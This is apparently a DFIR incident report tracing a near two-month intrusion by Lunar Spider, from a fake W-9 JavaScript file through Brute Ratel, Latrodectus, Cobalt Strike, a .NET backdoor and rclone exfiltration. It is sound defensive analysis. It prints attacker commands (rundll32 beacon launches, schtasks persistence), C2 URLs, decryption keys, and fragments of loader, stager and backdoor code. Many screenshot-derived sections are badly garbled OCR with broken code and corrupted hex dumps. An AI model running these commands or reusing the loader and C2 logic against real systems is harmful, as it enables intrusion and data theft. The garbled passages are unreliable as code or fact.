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From a Single Click: How Lunar Spider Enabled a Near Two-Month

Intrusion

By editor

Published: 2025-09-29 - Archived: 2026-04-06 00:44:55 UTC

This case was featured in our September 2025 DFIR Labs Forensics Challenge and is available as a lab today here for one

time access or included in our new subscription plan. It was originally published as a Threat Brief to customers in Feb 2025
- Case Summary

The intrusion took place in May 2024, when a user executed a malicious JavaScript file. This JavaScript file has been
previously reported as associated with the Lunar Spider initial access group by EclecticIQ. The heavily obfuscated
file, masquerading as a legitimate tax form, contained only a small amount of executable code dispersed among
extensive filler content used for evasion. The JavaScript payload triggered the download of a MSI package, which
deployed a Brute Ratel DLL file using rundll32.

The Brute Ratel loader subsequently injected Latrodectus malware into the explorer.exe process, and established
command and control communications with multiple CloudFlare-proxied domains. The Latrodectus payload was
then observed retrieving a stealer module. Around one hour after initial access, the threat actor began reconnaissance
activities using built-in Windows commands for host and domain enumeration, including ipconfig, systeminfo, nltest,

and whoami commands.

Approximately six hours after initial access, the threat actor established a BackConnect session, and initiated VNC-

based remote access capabilities. This allowed them to browse the file system and upload additional malware to the
beachhead host.

On day three, the threat actor discovered and accessed an unattend.xml Windows Answer file containing plaintext
domain administrator credentials left over from an automated deployment process. This provided the threat actor with

immediate high-privilege access to the domain environment.

On day four, the threat actor expanded their activity by deploying Cobalt Strike beacons. They escalated privileges
using Windows’ Secondary Logon service and the runas command to authenticate as the domain admin account
found the prior day. The threat actor then conducted extensive Active Directory reconnaissance using AdFind.
Around an hour after this discovery activity they began lateral movement. They used PsExec to remotely deploy

Cobalt Strike DLL beacons to several remote hosts including a domain controller as well as file and backup servers.

They then paused for around five hours. On their return, they deployed a custom .NET backdoor that created a
scheduled task for persistence and setup an additional command and control channel. They also dropped another
Cobalt Strike beacon that had a new command and control server. They then used a custom tool that used the
Zerologon (CVE-2020-1472) vulnerability to attempt additional lateral movement to a second domain controller.
After that they then tried to execute Metasploit laterally to that domain contoller via a remote service. However they

were unable to establish a command and control channel from this action.

On day five, the threat actor returned using RDP to access a new server that they then dropped the newest Cobalt

Strike beacon on. This was then followed by an RDP logon to a file share server where they also deployed Cobalt
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Strike. Around 12 hours after that they returned to the beachhead host and replaced the BruteRatel file used for

persistence with a new BruteRatel badger DLL. After this there was a large gap before their next actions.

Fifteen days later, the 20th since initial access, the threat actor became active again. They deployed a set of scripts to
execute a renamed rclone binary to exfiltrate the data from the file share server. This exfiltration used FTP to send
data over a roughly 10 hour period to the threat actor’s remote host. After this concluded there was another pause in

threat actor actions.

On the 26th day of the intrusion the threat actor returned to the backup server and used a PowerShell script to dump
credentials from the backup server software. Two days later on the backup server they appeared again and dropped a
network scanning tool, rustscan, which they used to scan subnets across the environment. After this hands on activity

ceased again.

The threat actor maintained intermittent command and control access for nearly two months following initial
compromise, leveraging BackConnect VNC capabilities and multiple payloads, including Latrodectus, Brute Ratel,
and Cobalt Strike, before being evicted from the environment. Despite the extended dwell time and comprehensive

access to critical infrastructure, no ransomware deployment was observed during this intrusion.
If you would like to get an email when we publish a new report, please subscribe here.
Analysts

Analysis and reporting completed by @RussianPanda9xx, Christos Fotopoulos, Salem Salem, reviewed by

@svchOst.

Initial Access

The infection began with the execution of a Latrodectus JavaScript file, Form_W-9_Ver-i40_53b043910-
86g91352u7972-6495q3.js, first reported on X by @Cryptolaemus1 in the following post:

(T) Cryptolaemus

-09.05.2024 - url = _js = .msi = .dll
wscript.exe Form W-9 Ver-460102.js
msiexec.exe [V
rundll32.exe C:\Users\Admin\AppData\Roaming\upfilles._dll, stow

(1/3) §

10C's

The malware was first uploaded to VirusTotal on May 9, 2024, prior to Operation Endgame. This operation occurred

between May 27 and 29, 2024, during which law enforcement dismantled multiple botnets, including Latrodectus.
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History @
First Seen In The Wild 2024-05-10 00:59:27 UTC
First Submission 2024-05-08 13:11:23 UTC
Last Submission 2025-04-04 21:34:18 UTC
Last Analysis 2025-09-17 13:21:45 UTC
Names 0

937d07235chiee2d34bTi1faeT62acT2b52b2bT10e8Te02ia 7584522262913 js

Form_W-3_Ver-i40_53b043510-86g91352uT972-643503.|s

After the take down of the botnet, Latrodectus reappeared in June 2024, using tax-themed phishing campaigns as its
initial access mechanism that dropped Latrodectus version 1.3 along with Brute Ratel, according to this article by

Trustwave.

Although our sample was from May and its file name was related to a W-9 tax form, it was version 1.3 of the
malware and additionally it utilized Brute Ratel. Based on that, we believe it to be an early version of the campaign

that was used later in June.

This report from Rapid7, also from June 2024, shows a malicious ad as the initial access used to lure a victim to
download the malicious Javascript file. Given the similarity of that report and our initial malware behavior we assess

that this we likely the same method used for our case as well.

The heavily obfuscated JS file contained multiple lines starting with //, which included filler text. After further

analyzing the file, a deobfuscation workflow was identified, executing all the lines of code starting with ////.
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var a = function () {
var b = new ActiveXObject('Scriptir \ £'), ¢ = WScript.ScriptFullName, d =
function e() {
if (!b.FileExists(c))
return;
var f = b.OpenTextFile(c, 1);
while (!f.AtEndOfStream) {
var g = f.ReadlLine();
if (g.slice(d, 4) =
d += g.substr(!) +

function h() {
if (d !== ) {

var i = new Fun
1();

}
return {
j: function () M
try {
e();
h();
} catch (k) {
}

Stage 1

Rasips ~ B mE npnt +O=2 W=

Regular expression

Output Ba0m e

Stage 2
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Deobfuscating the Latrodectus malware, uncovered that it performed an HTTP request to the URL
hxxp://91.194.11[.]64/MSILmsi to install the next stage, thus triggering the Suricata rule from Emerging Threats ET
POLICY Observed MSI Download.

Execution

BruteRatel/Latrodectus
= =
r— 0 =

G
(0N 0 —
crdi}
About Farm W-2, Wage and Tax Statement T Lloud o — N
lloskanawer.com 0 —) anikvancom
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Brute Ratel
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— Explorerexe — — MS! execution
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[—=—"] I User Executes Javascript Fils
I
i
Beachhead &= = == Injects Latrodectus Malware: = ===

I —

Brute Ratel upfilles.dll executed via rundll32

Static analysis of the MSI package revealed that upfilles.dll was embedded within the compressed disk1.cab archive.
The MSI installer utilized a custom action to execute the DLL via the legitimate Windows binary rundll32.exe,
specifically invoking the exported function stow to initiate malicious execution.

& MSL.msi - Orca - [m] X

file Edit Tables Transform Tools View Help
=2 FEBRBM Y= Ec

Tables ~ | Action T.. Source Target ExtendedT...
ActionText AI_DETECT MODERNWIN 1 aicustact.dll DetectModernWindows
AdminExecuteSequence Al_lnit_PatchWelcomeDlg 1 aicustact.dll DoEvents
AdminUiSequence AlInit_WelcomeDlg 1 aicustact.dll Dokvents
AdvtExecuteSequence AILSET_ADMIN 51 ALADMIN 1
Binary Al_nstallModeCheck 1 aicustact.dll Up
BootstrapperUlSequence Al_DOWNGRADE 19 4010
CheckBox Al_DpiContentScale 1 aicustact.dll DpiContentScale
ComboBox Al EnableDebuglog 321 aicustactdll EnableDebuglog
Component AI_PREPARE_UPGRADE 65 aicustactdll PrepareUpgrade
Condition Al_ResolveKnownFolders 1 aicustact.dll Al_ResolveKnownFolders
Control AI_RESTORE_LOCATION 65 aicustact.dll Restorel ocation
ControlCondition AI_STORE_LOCATION 51 ARPINSTALLLOCATION [APPDIR]

ControlEvent SET_APPDIR

APPDIR [AppDataFolder][Manufacturer]\[ProductName]

CreateFolder 5 c y: exe [AppD dll, stow | ]
o SET_SHORTCUTDIR 307 SHORTCUTDIR [ProgramMenuFolder] Producthsme]

Dialog SET_TARGETDIR_TO_APPDIR 51 TARGETDIR [APPDIR]

Directory AILCORRECT_INSTALL 51 ALINSTALL o

Error AISETRESUME S1 ALRESUME 1

EventMapping ALSETINSTALL 51 ALINSTALL 1

Feature AI_SET_MAINT 51 AI_MAINT 1

FeatureComponents AI_SET_PATCH 51 AI_PATCH 1

File AIDATA_SETTER 51 CustomActionData [ALLInit_PatchiWelcomeDlg]

InstallExecuteSequence AIDATA SETTER_1 51 CustomActionData [ALLInit WelcomeDlg]

InstallUlSequence

LaunchCondition

ListBox

Listview

Medis

Patch

PatchPackage v
Tables: 37 Customsction - 23 rows Torqet - String[0], Nullsble
Brute Ratel
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On day one, the loader upfilles.dll began execution on the beachhead host by resolving three APIs (VirtualAlloc,

LoadLibraryA, GetProcessAddress) via the following hashing algorithm:

for char in api_name:
char_byte = ord(char)

# Converts to lowercase, adds current hash
temp = (char_byte | 0x60) + hash_value

# Double for position-dependent hash
hash_value = 2 * temp

return hash_value

18| // Parse PE headers to get export directory
® 19| func_index = @;
® 20| export_dir = (_DWORD *)(module_base + *(unsigned int *)}(*(int *)(module_base + 6@) + module_base + 136));
® 21| names_rva = (unsigned int)export_dir[8];
® 22| funcs_rva = (unsigned int)export_dir[7];
® 23| ordinals_rva = (unsigned int)export_dir[9];
® 24| num_names = export_dir[6];
® 25| names_array = (unsigned int *)(module_base + names_rva);
® 26| funcs_array = module_base + funcs_rva;
® 27| ordinals_array = module_base + ordinals_rva;
® 28| if ( lnum_names )
® 29 return 8;
® 30| while (1)
31| {
e 32 calc_hash = @;
® 33 api_name_ptr = (unsigned __int8 *)(module_base + *names_array);
® 34 for ( current_char = *api_name_ptr; *api_name_ptr; calc_hash = 2 * temp_hash )
35 {
® 36 ++api_name_ptr;
® 37 temp_hash = (current_char | @x6@) + calc_hash;
® 38 current_char = *api_name_ptr;
39
® 40 if ( calc_hash == target_hash )
® 41 break;
e 42 func_index = (unsigned int)(func_index + 1);
e 43 ++names_array;
® 44 if ( (unsigned int)func_index »= num_names )}
® 45 return @;
46
® 47| return module_base + *(unsigned int *)(funcs_array + 4LL * *{unsigned _ int16 *)(ordinals_array + 2 * func_index});
e 48}
Hashing algorithm

Then it decrypted the intermediary Brute Ratel payload via an XOR decryption algorithm using the embedded key:

21 79 3C 7A 39 5F 3E 24 54 4A 7A 35 6C 33 3E 32 5F 66 74 76 6D 59 3C 4D 00

Offsec(h) 00 01 02 03 04 05 06 07 08 09 OA OB OC 0D OE OF Decoded text

0003C400 [6C 23 AC JA 3A SF 3E 24 50 4A JA 35 63 CC 3E 32] [L#-z: >SPdzs is2

0003C410 [E7 66 74 76 55 3C 4D 40[[21 7% 3C 7A 39 SF 3E| [cfrvmY<M@Ty<zd >

0003C420 [24 52 4A 7A 35 6C 33 3E 32 SF 66 74 76 60 56 5| FTdzsiss2 rewmid——» XOR Key
0003C430 [4D O0J 2L TC SC TR 59 oF OE 2% 53 L BA J5 oC 59 H.Jy<z® >vIocEls

0003C440 ? %2 Ti| p-anthd”.c.m ..Q

0003C450 |36 4D 04 24 38 15 52 1E 52 53 12 3C 07 1A 18 02| [6M.$8.R.RS.<....

0003C460 2D 1C 2F 65 OL OB 49 14 19 36 50 04 10 05 28 15| |./e..I..6P...).

0003C470 [0l SC 57 71 €B 79 7C 49 59 3C 4D 00 21 79 3c| | \ZWgky|I¥<M.!y<

0003C480 [ED ES F2 B3 F7 EG 89 A4 E6 DL FO E0 E1 E2 AS An| fdo’-éunsfiaaasws

0003C450 |78 2F S1 B2 8D D E2 A7 EF C7 FB 5. E3 9o 97 94| k/ga.sasica,sw~ = Encrypted data
O003C4A0 D4 F1 4A ED EO SF oC B8 DA B2 70 87 EE FO C3 FF| PAJié.c, Ucp:isiy

0003C4B0 [2B 55 18 51 8C 83 E7 SA 4A 7A 35 6C 33 3E 32 5F| hU.QEFc3Jz513>2_

0003C4C0 |36 31 76 €D 3D BA 49 00 €E 77 06 IC 39 SF 3E 24| flvm=°I.nw..9_>%

0003C4D0 |54 4A TA 35 9C 33 1C 12 54 64 78 76 6D 43 3C 4D| [[Jz5e3..TdxvmCeM

0003C4E0 |00 31 7D 3C 7A 3% SF 3E 24 44 4A 7A 35 7C 33 3E| |.1}<z%_>5DJz5|3>

0003C4F0 |32 SF 66 F4 77 €D 59 3C 4D 10 21 76 3C 78 38 SF| P_foumY<M.!y<xS_

0003C500 |38 24 54 4A TA 35 6C 33 38 32 SF 66 74 76 6D 58| PSTIz51382 frvmy

0003C510 [3C 2D 04 21 79 38 7TA 3% SF 3E 24 54 48 74 15 6D k-.'y8z9_>5THz.m|

AnAs~EaA - "
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The encrypted intermediary BRC4 payload

The shellcode above then decrypted the BRC4 badger via the RC4 key 71 24 70 2C 7D 70 61 3F. Below are the

decrypted Brute Ratel C4 (BRC4) C2s and RC4 key to decrypt the gathered information on the infected system that
is sent to the C2.

RC4 key

P P = g P 000000744F9FC 000001CSBC11: W@E;meﬁ'\

@Dumpl $SPump2  ¥SDump3  SEDumpd S DumpS @ Watchl  Ieilocak ' Stuct 000001CSBCOF4[L"r1diculous-breakpoint-gw. aws -usel.cloud-ara. tyk. 10
Address | H | - IF (| 000001CS8C 104 L "anikvan, com”
000001C 58E 620000 ( (] 000001C S8C116]L "boriz400. com .
000001C 586620010 0 000001 S8C102|L "uncertain-kitten-gw. aws-eucl.cloud-ara. tyk.io"
000001C58E620020 ¢ Decrypted 000001C 58C104]L "al tynbe. com
000001 58E 620030
000001 58E 620040 Brute Ratel C4 3 0000000000000

0001C 58£6200° (BRC4) 0000000000000
oS Sadger ccioecice Bruta Ratel C4

€ 58662007 rute Rate|

000001 58E6 20080/ . S000aonn0ed BRC4) C2
000001 58E620000)| . 0000000000000 ( )

Decrypted BRC4 C2s and the RC4 key

The subsequent YARA rule triggered during a scan of the process memory for Brute Ratel:

Match Index: 11

Rule: Windows_Trojan_BruteRatel 411ed879

Tags:

Author: Elast Security

Id: 41168d879 B =) 88948920

Fingerprint: ! 13 767bd5bc194c8654dfa18b3b2f38cf6c95a7111794

Threat_name: Windows.Trojan.BruteRatel
Referenc Bfbbc548fdbad 2ddc1e48 37ab6b8bs44bfed2b2eebff
Severit)
Arch_cont
Scan_cont
Licer
Os: windows
Memory Type: Virtual Memory (VAD)
Memory Tag:
Base Address:
PID:
ocess Name:
P Path: ic diskvo indows\System32\rundl132.exe
CommandLine: Wi \ \rundl132.exe™ C: \,Llser15"~.-~._.t'-\ppData'~.,R=:.aming"~._upFilles.dll, stow

[1 1bidi114@e16:
000001b1d1140dd
000001b1d1140de
000001b1d1140df
000001b1d1140e0 :
860001b1d1148e1 0 of 1f y 01 7 83 co @ . _u.H...D.
000001b1d1140e2 ' P2 45 3 89 ¢ ¢ 3 ...E..u.H....
000001b1d1140e3

000001b1d1140040

m Mmoo
& @

[1 1b1d1148596:
000001b1d114
000001b1d114056
eeese1bld114e
000001b1d114058
000001b1d114059

® 0 @
-+ @

On day five, the threat actor deployed a new Brute Ratel DLL through the established BackConnect session:

rund1132 wscadminui.dll, wsca
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The wscadminui.dll file serves as the Brute Ratel badger payload, maintaining the same obfuscation patterns
established by the upfilles.dll loader. Decryption of the intermediary BRC4 payload is achieved through XOR
operations using the embedded key sequence 75 36 58 33 64 4F 61 3F 4B 59 23 42 77 42 6F 41 39 6D 6E 4E 5E 46
56 47 66 41 00.

Latrodectus

After executing, Brute Ratel deployed Latrodectus malware through process injection into explorer.exe leveraging

CreateRemoteThread API. Latrodectus, a downloader first identified by Proofpoint researchers in November 2023, is

attributed to the same threat actors responsible for developing IcedID.

Latrodectus being injected into explorer.exe

Approximately six hours later, the process running Latrodectus established a connection to 193.168.143[.]196 on the
beachhead host, which we suspect to have been a BackConnect C2 server. BackConnect is a post-compromise
module that was initially deployed by IcedID, allowing threat actors to leverage infected systems for remote access

through VNC modules. Multiple security researchers, such as Elastic Security Labs, hypothesize that Latrodectus is a

potential successor to IcedID, due to code reuse and behavioral similarities, including the use of the same commands

in the Discover flag.

An hour after this traffic started, the following command was executed to switch to UTF-8 encoding:

cmd.exe /K chcp 65001 && c: && cd c:\

This command was previously observed in Keyhole, a multi-functional VNC/BackConnect component used by

IcedID, and prior cases involving IcedID infection.

A few minutes later, Latrodectus spawned DLLHost.exe to likely inject the BackConnect payload with
PROCESS_ALL_ACCESS (0x1fffff) access rights. The granted access rights provide full control over the target

process, enabling memory manipulation, thread creation, and DLL injection capabilities.

ParentProcess GrantedA
Sourcelmage: C\Windows\Explorer.EXE GrantedAccess: Unknown code (Ox1FFFFF) arge ag \SYS 32\DliHost.exe
Sourcelmage: C:\Windows\Explorer.EXE GrantedAccess: Unknown code (0x1FFFFF) etimage: C:AWi y 32\DliHost.exe ProcessAci

Sourcelmage: C:\Windows\Explorer.EXE GrantedAccess: Unknown code (0x1FFFFF) NIHost exe ProcessAccess

Sourcelmage: C:\Windows\Explorer.EXE GrantedAccess: Unknown code (0x1FFFFF) Targetimage: C:\Windows\system32\DlIHost.exe

GrantedAccess: Unknown code (0x1FFFFF) Targetimage: C:\Windows DilHost.exe
GrantedAccess: Unknown code (0x1FFFFF) Targetimag
GrantedAccess: Unknown code (Ox1FFFFF) Targetimag
GrantedAccess: Unknown code (Ox1FFFFF) Targetimag

GrantedAccess: Unknown code (0x1FFFFF) Targetimage: C\W|

Isassa.exe Backdoor
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On day four, the threat actor deployed and executed a binary named Isassa.exe via BackConnect on the beachhead

host.

193.168.143.196 C.9....." "/b.t... ..lh.....8...P..3.3.3...1..%...

]

.143.196
.143.196

-143.196

.!..L.!This progra

193.168.143.196

Threat actor dropping Isassa.exe via BackConnect session

The Isassa.exe file was a .NET backdoor that contained an encrypted payload embedded in an assembly resource file
named Isassa&&. Inside this resource, a small header was present declaring which protections were used (encryption
and/or compression). If encryption is used, it either uses a key embedded in the file or derives one from the
assembly’s public key token, then decrypts the payload. If compression is enabled, the code decompresses the

decrypted data before loading it.

The backdoor implemented a persistent command and control system that establishes covert communication between
an infected machine and a remote threat actor controlled server while creating a scheduled task for persistence. Upon
initialization, the backdoor establishes a timer-based polling mechanism that triggers every 250 seconds to maintain
regular contact with the C2 infrastructure and uses extracted obfuscated strings to construct the command. In our

case, the threat actor leveraged the backdoor to create a scheduled task on the beachhead host with the command:

"cmd.exe" /c schtasks /create /tn "Schedulerlsass" /tr "%ALLUSERSPROFILE%\USOShared\lsassa.exe" /sc ons

During each communication cycle, the backdoor collects basic system reconnaissance data, including the username
and machine name of the infected host, then transmits it to a remote server endpoint. The server C2
(hxxps://cloudmeri.com/comm[.]php) was obfuscated and embedded within the resource file name lsassa$ from the
decrypted resource file Isassa&&. After successfully transmitting the victim data, the backdoor waits for a server

response containing executable commands.

When commands are received from the remote server, the backdoor validates that the response content is not empty
and executes the payload through the Windows command interpreter. The execution occurs by spawning a new
cmd.exe process with the UseShellExecute flag disabled and CreateNoWindow enabled to maintain stealth, while
redirecting standard output and error streams to capture results. The backdoor includes a special termination
command that allows the remote operator to exit the backdoor by calling Environment.Exit when a specific response

string is received.
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- + userName;
nt httpClient

ent formUrlEncodedContent =
5), text3)

> taskAwaiter = httpClient. Async(text2, formUrlEncodedContent).GetAwai

taskAwaiter = taskAwaiter2;

taskAwaiter2 = ( <

result = taskAwaiter.Get
1t. )

< > taskAwaiter3 = result.
(!taskAwaiter3. )

taskAwaiter3;
< taskAwaitera;
taskAwaiter3

taskAwaitera

(result2);

httpClient

Snippet of code showing the backdoor’s command and control communication function that collects system

information and transmits it to a remote server while awaiting executable commands

The backdoor conceals its strings in an encrypted resource and only reveals them at runtime. The extraction function
first reads a length value to determine how many bytes to pull, then converts those bytes into readable text using

Unicode encoding.
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[int_1] & 128)

s1.byt I[int_1];

[J.I"It_l] & :':’-1) == O)

)[int_1] & -129) << 8;
[int_1 + 1];

; @string = Encoding. .GetString(Class1. > @, int_1, num);

(@string);

String extraction function that uses variable-length encoding to decode obfuscated strings from the decrypted

resource data array
Cobalt Strike

Several Cobalt Strike beacons were utilized over the course of the intrusion. The first was observed on day four,
where the cron801.dl_ file was dropped on the beachhead host under C:\ProgramData from the injected explorer.exe

process containing Latrodectus and was then executed twice by leveraging BackConnect.

rund1132 cron801.dl_, lvQkzdrFdILT
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Active code page: 65001

cd programdata

c:\ProgramData>
rundl132 cron801.dl ,1vQkzdrFdILT

rundll32 cron801.dl ,1vQkzdrFdILT
c:\ProgramData>

BackConnect launching Cobalt Strike payload (pcap)

The outbound connection was established with the Cobalt Strike server at hxxp://45.129.199(.]214/vodeo/wg01ckO1.

Field statistics
exe
45.129.199.214)

5.129.199.214
exe

45.129.199.214] 88 Network

process.executable process.pid event.action destination.ip winlog.event_data.Targetimage

tem32\rundl xe 8,9 ess - G 1host.exe

C:\Window: 32\ xe 8,932 CreateRemoteThread - C:\Windos
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Analysis of network traffic revealed a JSON response containing minified Vuetify v3.0.3 JavaScript served by the
Cobalt Strike C2 server. This discovery led to the identification of additional potentially related C2 servers using

Virustotal searches for similar characteristics (JSON response content or the URL path /vodeo/):

hxxp[://194[.1232[.]40[ .149/vodeo/wgd1ck01
hxxps[://]techbulldigital[.Jcom/Apply/readme/VIICARU6ODC? _WHBEXNIA=HNMIIIANEMPMLIDFEOPKLBDOEMPI
hxxp[://]techbulldigital[.]com/List/com2/9029E03IRSBB
hxxp[://]1filomeruginfor[.]com/christian/house/cwk1
hxxp[://]filomeruginfor[.]com/deolefor/wg@1ck@Tm

hxxps[ ://]wehelpgood[ . ]xyz/Complete/vI[.]56/KT84GVGD135E

hxxps[ ://]wehelpgood[ . ]xyz/derive/n/nzoqjd9mme

hxxp[://194[.1232[.1249[.]1186/vodeo/vid_wg@d1ck@1

hxxp[://194[.1232[.]249[.]186/vodeo/wgd1ckd1

nation

Read limit: [1024 Showas: |ASCII | Fontsize: [10 |2

/*1* vuetify v3.0.3* Forged by John Leider* Released under the MIT License.*/!function(e,t){"object"==typeof exports&"undefined"!=typeof module?t(exports,require
("vue™)):"function"==typeof define8&define.amd?define(["exports”,"vue”],t):t((e="undefined"!=typeof globalThis?globalThis:e||self).Vuetify={},e.vue)}(this,(function(e,t){" use
strict"const 1="undefined"!=typeof window,a=18&"IntersectionObserver”in window,0=18&("ontouchstart”in window| |window.navigator.maxTouchPoints>8),n=18&"undefined" !=typeof
CSSRRCSS. supports(“selector(:focus-visible)")function r(e){const a=t.ref(),o=t.ref()if(1l){const l=new ResizeObserver((t=>{null==e||e(t,1),t.length&&(o.value=t[@].contentRect)}))
t.onBeforeUnmount((()=>{1.disconnect()})),t.watch(a,((e,t)=>{t8&(1.unobserve(t),o0.value=void @),e8&1.observe(e)}),{flush:"post™})}return{resizeRef:a,contentRect:t.readonly(o)}}
function i(e,t,1){!function(e,t){if(t.has(e))throw new TypeError("Cannot initialize the same private elements twice on an object”)}(e,t),t.set(e,1)}functi

N\

Response from Cobalt Strike C2

JSON response from Cobalt Strike C2

Later the cron801.dl_ file was renamed system.dl_ and deployed to several hosts, this is covered further in the Lateral

Movement section

Later on the same day, after the execution of the Isassa.exe backdoor, the threat actor dropped sys.dll. This was
another Cobalt Strike stager containing shellcode that exhibits similarities to the payload documented in this report,

via the BackConnect session on the beachhead host.
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Address | Hex ASCII
000001EF835A0180 31 C9 52 52|41 BA 2D 06|18 7B FF D585 CO OF 85|1ERRA®-..{y0.A..
000001EF835A0190 9D 01 00 00|48 FF CF OF |84 8C 01 00|00 EB B3 E9 HyI ...... é3e
000001EF835A01A0 E4 01 00 00 |E8 82 FF FF |FF 2F 69 6E |66 6F 67 72 a .e.yyy/infogr
000001EF835A01B0 61 70 68 69|63 73 2F 61|75 74 68 2E |69 63 6F 00 aEh1cséaut .1CO.
000001EF835A01CO AC 91 F8 2C |69 2A B3 38 |5A B9 09 AD|D3 EA C7 D3|-.0,1 v eC
000001EF835A01D0 C9 3D AD 76 |E2 B2 7D 6F|F3 26 FB C4 |35 4C C5 80 E— vaz}oo&uASLA
000001EF835A01E0 BO 9 8B DA |F6 9E AO 8D|07 9F F4 18 F3 CA D9 20 .00. ...0.0EU
000001EF835A01F0 18 33 42 A1 |E7 14 49 FO|00 48 6F 73|74 3A 20 7 55,@ T6 Host: T
000001EF835A0200 65 73 6F 75|72 63 65 73|2E 61 76 74|65 63 68 75|esources.avtechu
000001EF835A0210 70 64 61 74|65 2E 63 6F |6D OD OA 43 |6F 6E 6E 65|pdate.com..Conne
000001EF835A0220 63 74 69 6F |6E 3A 20 63 |6C 6F 73 65|0D OA 41 63|ction: close..Ac
000001EF835A0230 63 65 70 74 |2D 45 6E 63 |6F 64 69 6E |67 3A 20 67|cept-Encoding: g
000001EF835A0240 7A 69 70 2C |20 62 72 OD|0A 41 63 63|65 70 74 2D|zip, br..Accept-
000001EF835A0250 4C 61 6E 67|75 61 67 65|3A 20 65 6E |2D 55 53 2C|Language: en-US,
0O00001EF835A0260 65 6E 3B 713D 30 2E 35|0D OA 55 73|65 72 2D 41|en;q=0.5..User-A
000001EF835A0270 67 65 6E 74 |3A 20 4D 6F |7A 69 6C 6C |61 2F 35 2E|gent: Mozilla/5.
000001EF835A0280 30 20 28 57|69 6E 64 6F (77 73 20 4E |54 20 31 30|0 (windows NT 10
000001EF835A0290 2E 30 3B 20|57 69 6E 36|34 3B 20 78|36 34 29 20|.0; win64; x64)
000001EF835A02A0 41 70 70 6C (65 57 65 62(4B 69 74 2F (35 33 37 2E|ApplewebKit/537.
000001EF835A02B0 33 36 20 28 |4B 48 54 4D |4C 2C 20 6C |69 6B 65 20|36 (KHTML, like
000001EF835A02C0 7 65 63 6B|6F 29 20 43|68 72 6F 6D |65 2F 31 31|Gecko) Chrome/11
000001EF835A02D0 35 2E 30 2E{30 2E 30 20|53 61 66 61|72 69 2F 35|5.0.0.0 Safar1/5
0O00001EF835A02E0 33 37 2E 33|36 20 45 64|67 2F 31 31(35 2E 30 2E|37.36 Edg/115.0
000001EF835A02F0 31 39 30 31 |2 32 30 OD|0A 00 08 E1|54 6C 60 6B|1901.20....aT1" k
000001EF835A0300 A3 3E 6F 73|96 24 AE 58 |lAA 5F 3A A5|09 8E DD 4B|f>o0s. $@Xa 1¥..YK
000001EF835A0310 FD 86 5F A9(C9 76 57 73|2E 3E 55 D8 |EE 6A B7 8B y _BEVWs. >U®1]
000001EF835A0320 CB 84 78 70|25 6C 33 F4 |00 41 BE FO|B5 A2 56 FF|E xp%130 A%BpﬁVy
000001EF835A0330 D5 48 31 C9|BA 00 00 40{00 41 B8 00|10 00 00 41 OH1E° .

The threat actor executed it via BackConnect with the command:

rund1132 %ALLUSERSPROFILE%\sys.dll,StartUp471

The Cobalt Strike implant initiated outbound communication to 206.206.123[.]209:443 (avtechupdate[.]Jcom) before
injecting itself into the sihost.exe process. After the attempted UAC bypass, the Cobalt Strike stager was executed in

memory with the C2 pointing to resources.avtechupdate[.]Jcom/samlss/vm.ico.

Snippet of Cobalt Strike stager
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0

.avtechupdate.com”,

3 ) > Ox
mls Jdc 4 ( | INTERNET_F

| INTERNET_FLAG_

handled interrupt: in
ellc Caught error: unhandled_interrupt
emulating

Speakeasy output from the extracted Cobalt Strike stager shellcode

Shortly after, the sihost.exe process (containing an injected Cobalt Strike beacon) used RUNAS execution to create a
new process (“gpupdate.exe”) running as the “Domain Admin” account, as described in the Privilege Escalation

section.

Subsequently, the compromised sihost.exe process, containing an injected Cobalt Strike beacon, leveraged the

RUNAS command to spawn a new gpupdate.exe process under the domain admin account.

sihost.exe spawning gpupdate.exe as “Domain Admin” user account
The gpupdate.exe process then injected a Cobalt Strike beacon into the spoolsv.exe process space.

process.executable event.action winlog.event_data. Targetimage message

pupdate.exe CreateRemoteThr

Both spoolsv.exe and gpupdate.exe processes were observed creating named pipes consistent with Cobalt Strike

communication patterns.
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process.executable event.action file.name user.name

\AuthPipeD_9z SYSTEM

Created)

\system32\gpupdate (:] PipeEvent (Pipe C ed) \Pro onManager_98 SYSTEM

PipeEvent (Pipe Created) S0 \CatalogChangelListener-bb4-8

\Windows\S SV.exe i ad ) \Winsoc atalogChangelistener-bc4-8 SYSTEM

pupdate.exe >ipeEvent (Pipe Created) \AuthPipeD_58 SYSTEM

:\Windows\: A peEve (Pipe Created) \ cPipeMgr_b2 SYSTEM

Cobalt Strike named pipes

The following day the sys.dll Cobalt Strike beacon was executed on two additional servers after connections to those

hosts were made via RDP.

Persistence
Registry Run Key

Persistence was first established after initial access on day one via a Registry Run key. This was achieved via the
rundll32.exe process that created a Run key, with an innocuous name of Update, which would execute the Brute

Ratel badger, upfilles.dll, if the system was restarted.

t process.executable t registry.path ¢ winlog.event_data Details ¢ winlog.event_data EventType

C:\Windows\systend2\rund1132.exe  HKU\S-1-5-21-2648318222-1363818818-3867253195-1241 \SOFTWARE\ Microsof t\Windows\CurrentVersion\Run\Update  rund1132 "C:\Users\<REDACTED USERNAME>\AppData\Roaming\upfilles.dll”, stow Setvalue

The Run key was updated multiple times during the intrusion to point to wscadminui.dll in place of upfilles.dll. We

could not determine why the actor re-applied the same change on several occasions.

[ErSp—— ¢ registry.path ¢ winlog.event_data.Details

C:\Windows\systend2\rund1132.exe HKU\S-1-5-21-2648318222-1363818918-3867253195-1241\SOFTWARE\Microsof t\Windows\CurrentVer sion\Run\Update  rund1132 "C:\Users\<REDACTED USERNAME>\AppData\Roaming\wscadminui.d11*, wsca (DAY 5)
C:\Windows\systen32\rund1132 .exe HKU\S-1-5-21-2648318222-1363818018-3867253195-1241\SOFTWARE\Microsof t\Windows\CurrentVersion\Run\Update  rund1132 "C:\Users\<REDACTED USERNAME>\AppData\Roaming\wscadminui.d11*, wsca (DAY 5)

C:\Windows\Systena2\rund1132.exe HKU\S-1-5-21-2648318222-1363818818-3867253195-1241\SOFTWARE\Microsof t\Windows\CurrentVersion\Run\Update  rund1132 "C:\Users\<REDACTED USERNAME>\AppData\Roaming\wscadminui.dl1®, wsca (DAY 21)

Scheduled Tasks

In addition to the Run key the threat actor created a scheduled task on the fourth day of the intrusion on the
beachhead host. The scheduled task was created by lsassa.exe which has been explained in further detail in the

Execution section.

¢ process.executable ¢ process.command_line ¢ process.parent.executable

C:\Windows\ SysHOW64\cnd . exe “cmd.exe” /¢ schtasks /create /tn "Schedulerlsass™ /tr "C:\ProgramData\USOShared\lsassa.exe” /sc onstart C:\ProgramData\USOShared\1sassa.exe
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Privilege Escalation
Runas

The threat actor activated Windows’ Secondary Logon service to enable the runas command — a built-in Windows
feature that allows running programs under different user credentials. By calling this service, they were able to

authenticate as the domain admin account found in the unattend.xml file and escalate their privileges from a regular

